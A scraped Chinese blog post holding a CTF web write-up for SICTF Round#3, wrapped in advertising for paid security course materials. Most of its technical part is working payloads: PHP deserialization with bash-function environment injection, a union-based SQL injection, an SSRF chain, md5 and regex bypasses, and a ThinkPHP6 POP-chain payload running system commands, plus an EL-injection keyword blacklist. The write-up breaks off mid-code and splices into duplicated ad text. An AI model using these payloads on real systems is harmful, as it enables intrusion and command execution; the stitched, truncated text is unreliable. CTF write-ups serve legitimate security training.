SICTF Round#3(WEB方向),程序员必学

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

public function \_\_isset($name)
{
    foreach ($\_GET['get'] as $inject => $rce){
        putenv("{$inject}={$rce}");
    }
    system("echo \"Haven't you get the secret?\"");
}

涉及环境变量注入,参考P神博客:环境变量注入
Payload:

?go=Tzo1OiJzdGFydCI6MTp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX19&get[BASH_FUNC_echo%25%25]=()%20{%20cat%20/ffffllllllaaaaaaaaaaaaaaaaaaggggg;%20}

在这里插入图片描述

3. hacker(无列名注入)

考点是SQL注入,过滤了information_schemta,考虑无列名注入。
Payload:

?username=1.1'/**/union/**/select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23

在这里插入图片描述

4. EZ_SSRF(SSRF)

<?php
highlight\_file(__file__);
error\_reporting(0);
function get($url) {
    $curl = curl\_init();
    curl\_setopt($curl, CURLOPT\_URL, $url);
    curl\_setopt($curl, CURLOPT\_HEADER, 0);
    curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, true);
    $data = curl\_exec($curl);
    curl\_close($curl);
    echo base64\_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function \_\_construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function \_\_destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($\_GET['Harder'])) {
    unserialize($\_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>

回显型SSRF,直接包含/flag没有内容。根据hint:hide other file,扫描了一波目录,还存在admin.php和flag.php,admin.php内容如下:

 <?php
error\_reporting(0);
include "flag.php";
highlight\_file(\_\_FILE\_\_);
$allowed\_ip = "127.0.0.1";
if ($\_SERVER['REMOTE\_ADDR'] !== $allowed\_ip) {
    die("You can't get flag");
} else {
    echo $flag;
}
?> 

可以得知,当$_SERVER['REMOTE_ADDR']的值等于127.0.0.1时,就输出flag,但是$_SERVER['REMOTE_ADDR']是不可伪造的。此时我们可以借助SSRF,将目标靶机作为跳板机,访问/admin.php文件。
POC:

<?php

class client{
    public $url = "http://127.0.0.1/admin.php";
}

echo serialize(new client);

?>

在这里插入图片描述成功获取到flag。
在这里插入图片描述

5. Oyst3rPHP(md5、preg_match、TP6反序列化POP)

根据favicon.io得知是ThinkPHP,先拿TP漏扫工具一把梭,无果。扫描目录发现存在www.zip文件。
在这里插入图片描述拿到app\controller\Index.php文件内容:

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

  public function index(){
    echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
    echo "<img src='../Oyster.png'"." />";
    
    $payload = base64\_decode(@$\_POST['payload']);
    $right = @$\_GET['left'];
    $left = @$\_GET['right'];

    $key = (string)@$\_POST['key'];
    if($right != $left && md5($right) == md5($left)){
      echo "Congratulations on getting your first oyster";
      echo "<img src='../Oyster1.png'"." />";
      
      if(preg\_match('/.+?THINKPHP/is', $key)){
        die("Oysters don't want you to eat");
      }
      if(stripos($key, '603THINKPHP') === false){
        die("!!!Oysters don't want you to eat!!!");
      }

    echo "WOW!!!Congratulations on getting your second oyster";
    echo "<img src='../Oyster2.png'"." />";
    @unserialize($payload);
    //最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
    //在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
    //小Tips:细狗函数┗|`O′|┛ 嗷~~
    }
  }

    public function doLogin()
    {
      echo "666";
    /\*emmm我也不知道这是what,瞎写的\*/
        if ($this->request->isPost()) {
            $username = $this->request->post('username');
            $password = $this->request->post('password');


            if ($username == 'your\_username' && $password == 'your\_password') {

                $this->success('Login successful', 'index/index');
            } else {

                $this->error('Login failed');
            }
        }
    }
}


  • 第一份生蚝:md5弱类型绕过,构造传参:
GET: ?left=QNKCDZO&right=240610708

在这里插入图片描述

  • 第二份生蚝:preg_match回溯绕过
import requests

get = {
  "left": "QNKCDZO",
  "right": "240610708"
}

post = {
  "key": "k" \* 1000000 + "603THINKPHP",
}

res = requests.post('http://yuanshen.life:37631/index.php/index/Index', params=get, data=post)
print(res.text)

在这里插入图片描述

  • 第三份生蚝:POP链
import requests

get = {
  "left": "QNKCDZO",
  "right": "240610708"
}

post = {
  "key": "k" \* 1000000 + "603THINKPHP",
  "payload": "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjM6ImtleSI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6Mzoia2V5IjtzOjY6InN5c3RlbSI7fXM6NToidGFibGUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO31zOjU6InRhYmxlIjtOO3M6Njoic3RyaWN0IjtiOjE7czo3OiJ2aXNpYmxlIjthOjE6e3M6Mzoia2V5IjtpOjE7fX1zOjY6InN0cmljdCI7YjoxO3M6NzoidmlzaWJsZSI7YToxOntzOjM6ImtleSI7aToxO319"
}

res = requests.post('http://yuanshen.life:37631/index.php/index/Index', params=get, data=post) # POST相对GET方法可以承载的数据量更大
print(res.text)

在这里插入图片描述

6. elInjection

拿到jar包直接在本地调试,关键代码如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.elinjection.controller;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import java.util.ArrayList;
import java.util.Iterator;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {
    public TestController() {
    }

    @RequestMapping({"/test"})
    @ResponseBody
    public String test(@RequestParam(name = "exp") String exp) {
        ArrayList<String> list = new ArrayList();
        list.add("Runtime");
        list.add("exec");
        list.add("invoke");
        list.add("exec");
        list.add("Process");
        list.add("ClassLoader");
        list.add("load");
        list.add("Response");
        list.add("Request");
        list.add("Base64Utils");
        list.add("ReflectUtils");
        list.add("getWriter");
        list.add("Thread");
        list.add("defineClass");
        list.add("bcel");
        list.add("RequestAttributes");
        list.add("File");
        list.add("flag");
        list.add("URL");
        list.add("Command");
        list.add("Inet");
        list.add("System");
        list.add("\\u");
        list.add("\\x");
        list.add("'");
        Iterator var3 = list.iterator();


### 一、网安学习成长路线图


网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/aa7be04dc8684d7ea43acc0151aebbf1.png)


### 二、网安视频合集


观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/f0aeee2eec7a48f4ad7d083932cb095d.png)


### 三、精品网安学习书籍


当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/078ea1d4cda342f496f9276a4cda5fcf.png)


### 四、网络安全源码合集+工具包


光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e54c0bac8f3049928b488dc1e5080fc5.png)


### 五、网络安全面试题


最后就是大家最关心的网络安全面试题板块  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/15c1192cad414044b4dd41f3df44433d.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/b07abbfab1fd4edc800d7db3eabb956e.png)  



**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/604e63cd00cbe741c62f456c38626ee0.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

15c1192cad414044b4dd41f3df44433d.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/b07abbfab1fd4edc800d7db3eabb956e.png)  



**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-qvXYjXk9-1713174192264)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值